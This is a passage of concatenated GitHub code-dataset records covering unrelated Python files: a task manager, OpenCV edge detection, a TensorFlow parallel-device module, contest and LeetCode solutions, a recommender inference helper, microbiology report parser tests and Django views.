self.tasks:\n if not t.isAlive():\n self.data_adapter.push_task_result(t.config['name'],\n {'last_error':t.result['last_error'],\n 'message':t.result['message'],\n 'startup_time':t.result['startup_time']},\n t.result['schedule'])\n self.tasks.remove(t)\n while(len(self.tasks) < self.config['max_tasks']):\n if self.queue.empty():\n # print '[TaskManager] No tasks in queue.'\n break\n t = self.queue.get()\n self.tasks.append(t)\n t.start()\n # print '[TaskManager] Task %s started!' % t.config['name']\n except StandardError as err:\n self.data_adapter.push_error('TaskManager', {'message':err.args, 'position':'TaskManager.py >> class TaskManager >> def run()'})\n \n \n ","repo_name":"Gateswong/GatesPet","sub_path":"TaskManager.py","file_name":"TaskManager.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11588853874","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2023/9/14 9:11\n# @Author : pyf\n# @File : test_opencv.py\n# @Description : 测试屋顶结构线提取\n\nimport cv2\nimport numpy as np\n\n# 加载房屋顶部图片\nimg = cv2.imread('imgs/building_0_5meter.jpg')\n\n# 将图像转换为灰度图像\n# gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nprint(img.shape[0])\nimg = cv2.resize(img, dsize=(img.shape[1] * 10, img.shape[0] * 10), interpolation=cv2.INTER_LINEAR)\n# cv2.imshow('image', img)\n# cv2.waitKey(0)\n\nimg = cv2.medianBlur(img, 11)\ncv2.imshow('image', img)\n\n# 使用Canny边缘检测算法检测边缘\nedges = cv2.Canny(img, 10, 20)\n\ncv2.imshow('image0', edges)\n\nkernel = cv2.getStructuringElement(cv2.MORPH_RECT, (2, 2))\ndilated = cv2.dilate(edges, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\ndilated = cv2.dilate(eroded, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\ndilated = cv2.dilate(eroded, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\ndilated = cv2.dilate(eroded, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\ndilated = cv2.dilate(eroded, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\ndilated = cv2.dilate(eroded, kernel, iterations=3)\neroded = cv2.erode(dilated, kernel, iterations=3)\n\ncv2.imshow('image1', eroded)\n\n# 查找轮廓\ncontours, _ = cv2.findContours(edges.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\nimage = cv2.drawContours(img, contours, -1, (255, 0, 0), 3)\n\n# t1 = cv2.GaussianBlur(image, (0, 0), 5)\n# cv2.imshow('image1', t1)\n\nt2 = cv2.medianBlur(image, 11)\ncv2.imshow('image2', t2)\n\n# t3 = cv2.bilateralFilter(t2, 9, 75, 75)\n# cv2.imshow('image3', t3)\n\n# 遍历每一个轮廓\n# for contour in contours:\n# # 获取轮廓的边界框\n# x, y, w, h = cv2.boundingRect(contour)\n#\n# # 画出边界框\n# cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n\n# gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n# _, binary = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY_INV)\n# binary = np.array(binary, dtype=np.uint8)\n# contours, _ = cv2.findContours(binary, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n# image = cv2.drawContours(img, contours, -1, (255, 0, 0), 3)\n# cv2.imshow('image1', image)\n\n# # 使用Hough变换检测直线\n# lines = cv2.HoughLinesP(edges, 10, np.pi / 180, 100, minLineLength=100, maxLineGap=10)\n# print(lines)\n#\n# # 在原图像上绘制检测到的直线\n# for line in lines:\n# x1, y1, x2, y2 = line[0]\n# cv2.line(img, (x1, y1), (x2, y2), (0, 0, 255), 2)\n\n# 显示结果图像\n# cv2.imshow('image', img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"287852793/pytorch","sub_path":"test/test_opencv.py","file_name":"test_opencv.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15936644381","text":"\nimport threading\nimport weakref\nfrom tensorflow.python import _pywrap_parallel_device\nfrom tensorflow.python.distribute import device_util\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.framework import composite_tensor\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.tpu.ops import tpu_ops\nfrom tensorflow.python.util import nest\n_next_device_number = 0\n_next_device_number_lock = threading.Lock()\n_all_parallel_devices = weakref.WeakValueDictionary()\ndef unpack(tensor):\n parallel_device = _all_parallel_devices.get(tensor.device, None)\n if parallel_device is None:\n raise ValueError(\"{} is not a parallel device\".format(tensor.device))\n return parallel_device.unpack(tensor)\nclass ParallelDevice(object):\n def __init__(self, components):\n global _next_device_number, _next_device_number_lock\n self.components = tuple(device_util.canonicalize(d) for d in components)\n if not self.components:\n raise ValueError(\"ParallelDevice requires at least one component.\")\n ctx = context.context()\n with _next_device_number_lock:\n self._name = \"{}/device:CUSTOM:{}\".format(ctx.host_address_space(),\n _next_device_number)\n _next_device_number += 1\n device, device_info = _pywrap_parallel_device.GetParallelDeviceCapsules(\n self._name, self.components)\n context.register_custom_device(device, self._name, device_info)\n self._device_ids = None\n self._device_scope = None\n _all_parallel_devices[self._name] = self\n def _pack_tensor(self, *tensors):\n for tensor in tensors:\n if not isinstance(tensor, (ops.Tensor, composite_tensor.CompositeTensor,\n variables.Variable)):\n raise ValueError(\n (\"Every component to pack onto the ParallelDevice must already be \"\n \"a tensor, got {}. Consider running `tf.constant` or \"\n \"`tf.convert_to_tensor` first on literal values.\")\n .format(tensors))\n with ops.device(None):\n tensors = [t.read_value() if isinstance(t, variables.Variable)\n else t for t in tensors]\n with ops.device(self._name):\n return tpu_ops.tpu_replicated_input(inputs=tensors)\n def pack(self, tensors):\n \"\"\"Create a tensor on the parallel device from a sequence of tensors.\n Args:\n tensors: A list of tensors, one per device in `self.components`. The list\n can contain composite tensors and nests (lists, dicts, etc. supported by\n `tf.nest`) with the same structure for each device, but every component\n of nests must already be a `tf.Tensor` or composite. Passing\n `tf.Variable` objects reads their value, it does not share a mutable\n reference between the packed and unpacked forms.\n Returns:\n A tensor placed on the ParallelDevice. For nested structures, returns a\n single structure containing tensors placed on the ParallelDevice (same\n structure as each component of `tensors`).\n Raises:\n ValueError: If the length of `tensors` does not match the number of\n component devices, or if there are non-tensor inputs.\n \"\"\"\n self._assert_eager()\n if len(tensors) != len(self.components):\n raise ValueError(\n (\"Creating a parallel tensor requires one tensor per component. \"\n \"Got {} but was expecting {}.\")\n .format(len(tensors), len(self.components)))\n return nest.map_structure(self._pack_tensor, *tensors,\n expand_composites=True)\n def _unpack_tensor(self, parallel_tensor):\n if not isinstance(parallel_tensor, (\n ops.Tensor, composite_tensor.CompositeTensor, variables.Variable)):\n raise ValueError(\n \"Expected a tensor, got {}.\".format(parallel_tensor))\n with ops.device(self._name):\n return tpu_ops.tpu_replicated_output(\n parallel_tensor, num_replicas=len(self.components))\n def unpack(self, parallel_tensor):\n self._assert_eager()\n unpacked_components = [[] for _ in range(len(self.components))]\n for tensor in nest.flatten(parallel_tensor, expand_composites=True):\n for accumulator, unpacked_tensor in zip(\n unpacked_components, self._unpack_tensor(tensor)):\n accumulator.append(unpacked_tensor)\n return [nest.pack_sequence_as(parallel_tensor, unpacked,\n expand_composites=True)\n for unpacked in unpacked_components]\n @property\n def device_ids(self):\n if self._device_ids is None:\n with ops.init_scope():\n device_ids_list = []\n for index, device in enumerate(self.components):\n with ops.device(device):\n device_ids_list.append(\n array_ops.identity(constant_op.constant(index)))\n self._device_ids = self.pack(device_ids_list)\n return self._device_ids\n def _assert_eager(self):\n if not context.executing_eagerly():\n raise NotImplementedError(\n \"ParallelDevice is currently not supported inside `tf.function`. It \"\n \"can however run calls to a `tf.function` in parallel:\\n\\n\"\n \"with ParallelDevice() as p:\\n f()\")\n def __enter__(self):\n if self._device_scope is not None:\n raise AssertionError(\n \"Re-entered a ParallelDevice scope without first exiting it.\")\n self._assert_eager()\n self._device_scope = ops.device(self._name)\n self._device_scope.__enter__()\n return self\n def __exit__(self, typ, exc, tb):\n self._device_scope.__exit__(typ, exc, tb)\n self._device_scope = None\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_2/parallel_device.py.transformed.py","file_name":"parallel_device.py.transformed.py","file_ext":"py","file_size_in_byte":5700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32965329003","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport sets\n\nfrom nltk.corpus import wordnet\n\n\ndef get_synonyms(word):\n synonyms = sets.Set()\n synonyms.add(word)\n for ss in wordnet.synsets(word):\n for lemma in ss.lemma_names():\n synonyms.add(lemma)\n return synonyms\n\n\ndef is_equal(sequence1, sequence2):\n if len(sequence1) != len(sequence2):\n return False\n\n def dfs(prev, i, sequence, stack, candidates):\n stack.append(prev)\n if i == len(sequence):\n candidates.add(' + '.join(sorted(stack[1:])))\n stack.pop()\n return\n for s in get_synonyms(sequence[i]):\n dfs(s, i+1, sequence, stack, candidates)\n stack.pop()\n\n candidates1, candidates2 = sets.Set(), sets.Set()\n dfs('', 0, sequence1, [], candidates1)\n dfs('', 0, sequence2, [], candidates2)\n\n return len(candidates1.intersection(candidates2)) > 0\n","repo_name":"Lamzin/word-processing","sub_path":"spacy/synonyms.py","file_name":"synonyms.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18570522996","text":"from utils import embedded_message\n\n\nasync def credits(ctx):\n description = (\n \"_This bot was developed by_\\n_Eduardo Valença and Murilo Todão_\\n\\n\"\n \"_Thank you for caring!_\\n[GitHub Repository](https://github.com/murilo-toddy/discordbotpy)\"\n )\n await embedded_message(ctx, \"**Credits** :moyai:\", description)\n await add_reactions(ctx.message)\n \n\nasync def add_reactions(msg):\n emojis = [\"🇵\", \"🇮\", \"🇳\", \"🇹\", \"🇴\", \"🤓\"]\n for emoji in emojis:\n await msg.add_reaction(emoji)\n \n","repo_name":"murilo-toddy/discord-music-bot","sub_path":"commands/credits.py","file_name":"credits.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"45849866884","text":"\n\ndef get_proper_divisors(number):\n proper_divisors = []\n for i in range(1, (round(number / 2) + 1)):\n if number % i == 0:\n proper_divisors.append(i)\n return proper_divisors\n\ndef get_sum_of_proper_divisors(number):\n return sum(get_proper_divisors(number))\n\ndef get_ans(upper_limit):\n # this basically does all the work twice\n # could make a number list and cross of numbers when they are evaluated early\n # (this happens when a number is a pair)\n running_total = 0\n for num in range(2, upper_limit, +2):\n possible_pair = get_sum_of_proper_divisors(num)\n if num == get_sum_of_proper_divisors(possible_pair) and num != possible_pair:\n running_total += num\n running_total += possible_pair\n return int(running_total / 2)\n \n\nif __name__ == \"__main__\":\n print(f\"Answer to Project Euler problem #21 is: {get_ans(10000)}\")","repo_name":"SnoozingPinata/ProjectEuler","sub_path":"p21_AmicableNumbers.py","file_name":"p21_AmicableNumbers.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1660314126","text":"\"\"\"\nTitle : 해킹\nLink : https://www.acmicpc.net/problem/10282\n\"\"\"\n\nimport heapq\nimport sys\ninput = sys.stdin.readline\nMIIS = lambda: map(int, input().split())\n\n\n# 944 ms\nif __name__ == \"__main__\":\n for _ in range(int(input())):\n N, D, C = MIIS()\n dependency = [[] for _ in range(N + 1)]\n for _ in range(D):\n a, b, s = MIIS()\n dependency[b].append((a, s))\n heap = [(0, C)]\n total_times = [10 ** 8] * (N + 1)\n total_times[C] = 0\n while heap:\n time, x = heapq.heappop(heap)\n if total_times[x] < time:\n continue\n for y, t in dependency[x]:\n if total_times[y] <= time + t:\n continue\n total_times[y] = time + t\n heapq.heappush(heap, (time + t, y))\n ans_list = [t for t in total_times if t != 10 ** 8]\n print(len(ans_list), max(ans_list))\n\n\n# 1140 ms\nif __name__ == \"__main__\":\n for _ in range(int(input())):\n N, D, C = MIIS()\n dependency = [[] for _ in range(N + 1)]\n for _ in range(D):\n a, b, s = MIIS()\n dependency[b].append((a, s))\n heap = [(0, C)]\n count, ans_time = 0, 0\n check = [False] * (N + 1)\n while heap:\n time, x = heapq.heappop(heap)\n if check[x]:\n continue\n check[x] = True\n count += 1\n ans_time = time\n for y, t in dependency[x]:\n if check[y]:\n continue\n heapq.heappush(heap, (time + t, y))\n print(count, ans_time)\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"이영준/2022/03/0321/10282.py","file_name":"10282.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"42385652425","text":"import numpy as np\n\ndef recItem(model, user_train, num_user_to_search, item_idx, k, args):\n\n train = user_train\n users = range(1, num_user_to_search)\n\n item_preds = []\n \n for u in users:\n\n seq = np.zeros([args.maxlen], dtype=np.int32)\n idx = args.maxlen - 1\n\n for i in reversed(train[u]):\n seq[idx] = i\n idx -= 1\n if idx == -1: \n break\n\n predictions = -model.predict(*[np.array(l) for l in [[u], [seq], item_idx]])\n\n predictions_origin = predictions\n\n predictions = predictions_origin.argsort().argsort()[0].cpu().detach().numpy()\n\n rank = np.argmax(predictions)\n\n for i in reversed(train[u]):\n if i != item_idx[rank]:\n item_preds.append(i)\n\n item_preds = list(set(item_preds))[0:k]\n\n return item_preds\n ","repo_name":"nguyenthienhy/SAS-Recommendation","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23386844168","text":"# Tests for Urine Microbiology report extraction\n\nimport unittest\n\n# Features to test\nfrom report_extract import extract_value_report_as_json\n\nimport pandas as pd\nimport re\n\nprint('test')\n\n# Load data to be processed for report extraction.\n\nfolder = 'Data'\nfile = 'Microbiology2_conv'\next = 'csv'\nin_file = '{}/{}.{}'.format(folder, file, ext)\n\n# Read in the input data that will have tests created for it.\ndf = pd.read_csv(in_file, sep='\\t')\n\n# Replace || for LFs\ndf['ValueNew'] = df['ValueNew'].apply(lambda x : x.replace(\"||\", \"\\n\"))\ndf['CommentsNew'] = df['CommentsNew'].apply(lambda x : x.replace(\"||\", \"\\n\"))\n\n\n\n\nblood_test_cases = {\n\n\n###################################################################################################################\n0 : {\n\n 'PatientID' : 3,\n 'ParameterID' : 12613,\n 'Time' : '2013-09-25 18:50:00',\n 'expected' : {\n \"microscopy\": \"\",\n \"report\": [\"BLOOD CULTURE MICROBIOLOGY\"],\n \"collected\": [\"18:50 25-Sep-13\"],\n \"text\": \"\\nBLOOD CULTURE MICROBIOLOGY\\n\\nLab No. : 60291-1169\\nMicro No. : GC13M67471\\n\\nCollected : 18:50 25-Sep-13\\nWard : ICU-Intensive Care Unit (GCH)\\nRegistered : 19:02 25-Sep-13\\n\\n\\n\\nCulture : No growth after 5 days incubation\",\n \"gram_stain\": \"\",\n \"mrsa_screen\": \"\",\n \"comments\": \"\",\n \"cell_count\": \"\",\n \"volume\": [],\n \"casts\": \"\",\n \"registered\": [\"19:02 25-Sep-13\"],\n \"red cell morphology\": \"\",\n \"lab_no\": [\"60291-1169\"],\n \"specimen\": \"\",\n \"num_tubes\": [],\n \"ward\": [\"ICU-Intensive Care Unit (GCH)\"],\n \"supernatant\": [],\n \"micro_no\": [\"GC13M67471\"],\n 'culture': {\n 'abbreviations': {},\n 'notes': '',\n 'other': ['No growth after 5 days incubation'],\n 'text': 'No growth after 5 days incubation',\n 'vals': {}\n },\n \"chemistry\": \"\",\n \"differential\": \"\",\n \"appearance\": []\n },\n\n },\n\n\n# 1155\n1155 : {\n\n 'PatientID' : 418,\n 'ParameterID' : 12613,\n 'Time' : '2014-01-21 09:30:00',\n 'expected' : {\n 'text': '\\nBLOOD CULTURE MICROBIOLOGY\\n\\nLab No. : 60952-8957\\nMicro No. : GC14M5328\\n\\nCollected : 09:30 21-Jan-14\\nWard : Intensive Care Unit D4 (GCUH)\\nRegistered : 13:34 21-Jan-14\\n\\n\\n\\nPositive Bottles : 2 of 2\\nGrowth After : 17 Hours\\n\\nGram Stain : Gm pos cocci resemb. Staphylococci\\n\\n\\nCulture :\\n\\n Coagulase Neg. Staphylococcus\\n\\n Antibiotic Abbreviations Guide:\\n\\n\\n\\n Probable Contaminant.',\n 'casts': '',\n 'chemistry': '',\n 'gram_stain': 'Gm pos cocci resemb. Staphylococci',\n 'differential': '',\n 'registered': ['13:34 21-Jan-14'],\n 'cell_count': '',\n 'collected': ['09:30 21-Jan-14'],\n 'volume': [],\n 'ward': ['Intensive Care Unit D4 (GCUH)'],\n 'red cell morphology': '',\n 'micro_no': ['GC14M5328'],\n 'culture': {\n 'notes': 'Probable Contaminant.',\n 'text': 'Coagulase Neg. Staphylococcus\\n\\n Antibiotic Abbreviations Guide:\\n\\n\\n\\n Probable Contaminant.',\n 'abbreviations': {},\n 'vals': {},\n 'other': ['Coagulase Neg. Staphylococcus']\n },\n 'specimen': '',\n 'microscopy': '',\n 'num_tubes': [],\n 'supernatant': [],\n 'report': ['BLOOD CULTURE MICROBIOLOGY'],\n 'mrsa_screen': '',\n 'appearance': [],\n 'comments': '',\n 'lab_no': ['60952-8957']\n },\n\n },\n\n# 1280\n1280 : {\n 'PatientID' : 303,\n 'ParameterID' : 12613,\n 'Time' : '2013-12-30 05:01:00',\n 'expected' : {\n 'num_tubes': [],\n 'chemistry': '',\n 'casts': '',\n 'report': ['BLOOD CULTURE MICROBIOLOGY'],\n 'differential': '',\n 'text': '\\nBLOOD CULTURE MICROBIOLOGY\\n\\nLab No. : 58065-9888\\nMicro No. : GC13M90722\\n\\nCollected : 05:00 30-Dec-13\\nWard : Intensive Care Unit D4 (GCUH)\\nRegistered : 06:00 30-Dec-13\\n\\n\\n\\nPositive Bottles : 2 of 2\\nGrowth After : 23.1 hrs\\n\\nGram Stain : Gm pos cocci resemb. Staphylococci\\n\\n\\nCulture :\\n PEN FLU CFZ VA\\n Staphylococcus epidermidis R R R S\\n\\n\\n\\n\\n\\n Antibiotic Abbreviations Guide:\\n PEN Penicillin G FLU Di(Flu)cloxacillin\\n CFZ Cefazolin\\n VA Vancomycin',\n 'collected': ['05:00 30-Dec-13'],\n 'comments': '',\n 'cell_count': '',\n 'volume': [],\n 'appearance': [],\n 'culture': {\n 'notes': '',\n 'abbreviations': {\n \"PEN\": \"Penicillin G\",\n \"FLU\": \"Di(Flu)cloxacillin\",\n \"CFZ\": \"Cefazolin\",\n \"VA\": \"Vancomycin\"\n },\n 'other': [],\n 'text': 'PEN FLU CFZ VA\\n Staphylococcus epidermidis R R R S\\n\\n\\n\\n\\n\\n Antibiotic Abbreviations Guide:\\n PEN Penicillin G FLU Di(Flu)cloxacillin\\n CFZ Cefazolin\\n VA Vancomycin',\n 'vals': {\n 'Staphylococcus epidermidis': {\n 'resistance': {'PEN': 'R', 'FLU': 'R', 'VA': 'S', 'CFZ': 'R'}\n }\n }\n },\n 'specimen': '',\n 'red cell morphology': '',\n 'supernatant': [],\n 'gram_stain': 'Gm pos cocci resemb. Staphylococci',\n 'microscopy': '',\n 'mrsa_screen': '',\n 'lab_no': ['58065-9888'],\n 'ward': ['Intensive Care Unit D4 (GCUH)'],\n 'registered': ['06:00 30-Dec-13'],\n 'micro_no': ['GC13M90722']\n },\n\n },\n\n# 1474\n\n# 1602\n\n# 1632\n\n# 1727\n\n# 3538\n\n# 3714\n\n# 3993\n\n###################################################################################################################\n# No Antibiotics header row, and now abbreviation lines, hence gets confused with comments\n5716 : {\n\n 'PatientID' : 1410,\n 'ParameterID' : 12613,\n 'Time' : '2014-07-14 17:45:00',\n 'expected' : {\n \"chemistry\": \"\",\n \"lab_no\": [\"64950-3633\"],\n \"gram_stain\": \"Yeast\",\n \"red cell morphology\": \"\",\n \"text\": \"\\nBLOOD CULTURE MICROBIOLOGY\\n\\nLab No. : 64950-3633\\nMicro No. : GC14M53749\\n\\nCollected : 17:45 14-Jul-14\\nWard : Intensive Care Unit D4 (GCUH)\\nRegistered : 17:57 14-Jul-14\\n\\nSpecimen : Arterial Line\\n\\nPositive Bottles : 1 of 2\\nGrowth After : 70.9 hrs\\n\\nGram Stain : Yeast\\n\\n\\nCulture :\\n\\n Candida albicans\\n\\n Antibiotic Abbreviations Guide:\\n\\n\\n\\n Please see MIC results for (additional) susceptibility data.\\n\\n\",\n \"comments\": \"\",\n \"mrsa_screen\": \"\",\n \"differential\": \"\",\n \"report\": [\"BLOOD CULTURE MICROBIOLOGY\"],\n \"collected\": [\"17:45 14-Jul-14\"],\n \"num_tubes\": [],\n \"casts\": \"\",\n \"ward\": [\"Intensive Care Unit D4 (GCUH)\"],\n \"registered\": [\"17:57 14-Jul-14\"],\n \"supernatant\": [],\n \"specimen\": \"Arterial Line\\n\\nPositive Bottles : 1 of 2\\nGrowth After : 70.9 hrs\",\n \"culture\": {\n \"other\": [\"Candida albicans\",],\n \"text\": \"Candida albicans\\n\\n Antibiotic Abbreviations Guide:\\n\\n\\n\\n Please see MIC results for (additional) susceptibility data.\",\n \"abbreviations\": {},\n \"notes\": \"Please see MIC results for (additional) susceptibility data.\",\n \"vals\": {}\n },\n \"cell_count\": \"\",\n \"volume\": [],\n \"microscopy\": \"\",\n \"micro_no\": [\"GC14M53749\"],\n \"appearance\": []\n },\n },\n\n\n###################################################################################################################\n6116 : {\n\n 'PatientID' : 1489,\n 'ParameterID' : 12613,\n 'Time' : '2014-07-20 12:30:00',\n 'expected' : {\n \"microscopy\": \"\",\n \"report\": [\"BLOOD CULTURE MICROBIOLOGY\"],\n \"collected\": [\"12:30 20-Jul-14\"],\n \"text\": \"\\nBLOOD CULTURE MICROBIOLOGY\\n\\nLab No. : 64969-1892\\nMicro No. : GC14M55295\\n\\nCollected : 12:30 20-Jul-14\\nWard : Intensive Care Unit D4 (GCUH)\\nRegistered : 13:13 20-Jul-14\\n\\n\\n\\nPositive Bottles : 2 of 2\\nGrowth After : 13.6 hours\\n\\nGram Stain : Gram neg. bacilli\\n\\n\\nCulture :\\n SXT GEN CIP MER\\n Enterobacter aerogenes S S S S\\n\\n\\n\\n\\n\\n Antibiotic Abbreviations Guide:\\n SXT Co-trimoxazole\\n GEN Gentamicin\\n CIP Ciprofloxacin\\n MER Meropenem\\n\\n\\n\\n Susceptibility to penicillins and first, second, and third\\n generation cephalosporins are not reported. Clinically this\\n isolate should be considered RESISTANT to these agents due to\\n its ability to produce broad spectrum beta-lactamase.\",\n \"gram_stain\": \"Gram neg. bacilli\",\n \"mrsa_screen\": \"\",\n \"comments\": \"\",\n \"cell_count\": \"\",\n \"volume\": [],\n \"casts\": \"\",\n \"registered\": [\"13:13 20-Jul-14\"],\n \"red cell morphology\": \"\",\n \"lab_no\": [\"64969-1892\"],\n \"specimen\": \"\",\n \"num_tubes\": [],\n \"ward\": [\"Intensive Care Unit D4 (GCUH)\"],\n \"supernatant\": [],\n \"micro_no\": [\"GC14M55295\"],\n \"culture\": {\n \"other\": [],\n \"text\": \"SXT GEN CIP MER\\n Enterobacter aerogenes S S S S\\n\\n\\n\\n\\n\\n Antibiotic Abbreviations Guide:\\n SXT Co-trimoxazole\\n GEN Gentamicin\\n CIP Ciprofloxacin\\n MER Meropenem\\n\\n\\n\\n Susceptibility to penicillins and first, second, and third\\n generation cephalosporins are not reported. Clinically this\\n isolate should be considered RESISTANT to these agents due to\\n its ability to produce broad spectrum beta-lactamase.\",\n \"abbreviations\": {\n \"MER\": \"Meropenem\",\n \"CIP\": \"Ciprofloxacin\",\n \"GEN\": \"Gentamicin\",\n \"SXT\": \"Co-trimoxazole\"\n },\n \"notes\": \"Susceptibility to penicillins and first, second, and third generation cephalosporins are not reported. Clinically this isolate should be considered RESISTANT to these agents due to its ability to produce broad spectrum beta-lactamase.\",\n 'vals': {\n 'Enterobacter aerogenes': {'resistance': {'MER': 'S', 'CIP': 'S', 'GEN': 'S', 'SXT': 'S'}}\n },\n },\n \"chemistry\": \"\",\n \"differential\": \"\",\n \"appearance\": []\n },\n },\n\n\n\n\n}\n\n\n\nclass TestBloodMicrobiology(unittest.TestCase):\n\n\n def setUp(self):\n # Displays the object diff correctly\n self.maxDiff = None\n\n\n\n\n\n\n # Can run this test on its own:\n # python3 test_blood_microbiology.py TestBloodMicrobiology.test_specific_report\n\n def test_specific_report(self):\n test = 1280\n test_data = blood_test_cases[test]\n\n row = df.iloc[test]\n\n # Check row data\n for f in ['PatientID', 'ParameterID', 'Time']:\n self.assertEqual(row[f], test_data[f])\n\n # check json result generated by extraction\n json = extract_value_report_as_json(row['ValueNew'])\n print(\"result:\",json)\n self.assertEqual(json[0], test_data['expected'])\n\n\n\n\n\n\n\n\n # Can run this test on its own:\n # python3 test_urine_microbiology.py TestUrineMicrobiology.test_extraction\n\n def test_extraction(self):\n for row in list(blood_test_cases.keys()):\n with self.subTest(row=row):\n test_data = blood_test_cases[row]\n row = df.iloc[row]\n\n # Check row data\n for f in ['PatientID', 'ParameterID', 'Time']:\n self.assertEqual(row[f], test_data[f])\n\n # check json result generated by extraction\n json = extract_value_report_as_json(row['ValueNew'])\n\n self.assertEqual(json[0], test_data['expected'])\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Kar98/MicrobiologyTemp","sub_path":"test_blood_microbiology.py","file_name":"test_blood_microbiology.py","file_ext":"py","file_size_in_byte":13853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3831593441","text":"from django.shortcuts import get_object_or_404, render, redirect\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotFound\nfrom django.core.urlresolvers import reverse\nfrom django.utils import timezone\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom .models import Schoolinfo, Sitemap\nfrom user.models import User\n\nfrom .utils import Site_option\nfrom user.utils import user_alreadyloggedin, get_userrole, review_permission\n\n# Create your views here.\n\ndef site_overview(request):\n page_title = 'Site management'\n\n if not user_alreadyloggedin(request):\n return HttpResponseRedirect(reverse('index'))\n\n if not review_permission(User.objects.get(username = request.session['user']), 'allow:site_edit'):\n return HttpResponseRedirect(reverse('index_home'))\n\n site_option = Site_option()\n\n return render(request, 'home.html', {\n 'page_header': page_title,\n 'template': 'list', # operation, list,\n 'topnav': site_topnav(get_userrole(request.session['user'])['level']),\n 'content': {\n 'list': {\n 'checkbox': True,\n 'name': 'overview',\n 'body': (\n ({'name': 'SiteNav editor',\n 'url': 'siteinfo:sp_view'}),\n\n ({'name': 'Classroom management',\n 'url': 'classroom:manage'}),\n\n ({'name': 'User management',\n 'url': 'user:list_user'}),\n\n ({'name': 'Class management',\n 'url': 'user:list_user'}),\n ),\n 'foot': (),\n },\n },\n })\n\ndef site_topnav(user_level = 1):\n sitemap_obj = Sitemap.objects.all().filter(level__lte=user_level).order_by('order')\n obj = [{'title': item.title, 'url_route': item.url_route, 'pk': item.pk, 'top_level': item.top_level, 'level': item.level} for item in sitemap_obj]\n\n d = {'main':[], 'sub':[]}\n for item in obj:\n if item['top_level'] == None:\n d['main'].append(item)\n del item['top_level']\n else:\n d['sub'].append(item)\n\n for item in d['sub']:\n for core in d['main']:\n if core['pk'] == item['top_level'].pk:\n if not 'sub_menu' in core:\n core['sub_menu'] = [item]\n else:\n core['sub_menu'].append(item)\n continue\n del item['top_level']\n\n return d['main']\n\ndef sitemap_view(request):\n page_title = 'SiteNav editor'\n\n if not user_alreadyloggedin(request):\n return HttpResponseRedirect(reverse('index'))\n\n if not review_permission(User.objects.get(username = request.session['user']), 'allow:site_edit'):\n return HttpResponseRedirect(reverse('index_home'))\n\n sitemap = Sitemap.objects.all()\n\n return render(request, 'home.html', {\n 'page_header': page_title,\n 'template': 'list', # operation, list,\n 'topnav': site_topnav(get_userrole(request.session['user'])['level']),\n 'content': {\n 'operation': ( \n ({'title':'Edit site nav', \n 'url': 'siteinfo:sp_add',\n 'html_class': 'sp_add'}),\n ),\n 'list': {\n 'checkbox': True,\n 'name': 'sitemap',\n 'body': sitemap,\n 'foot': (),\n },\n },\n })\n\ndef sitemap_edit(request, sitemap_id):\n pass\n\ndef sitemap_delete(request, sitemap_id):\n pass\n","repo_name":"AndyUT101/myproject","sub_path":"siteinfo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27505578577","text":"# coding=utf-8\n\n# https://leetcode-cn.com/problems/two-sum/\n\nclass Solution(object):\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n m = {}\n for idx, n in enumerate(nums):\n if (target - n) in m:\n return (m[target-n], idx)\n m[n] = idx\n return\n","repo_name":"zhuwenbo1988/nlp","sub_path":"leetcode/easy/array/1_twoSum.py","file_name":"1_twoSum.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"4850979533","text":"import sys\nimport heapq\n\ninput = sys.stdin.readline\n\nn = 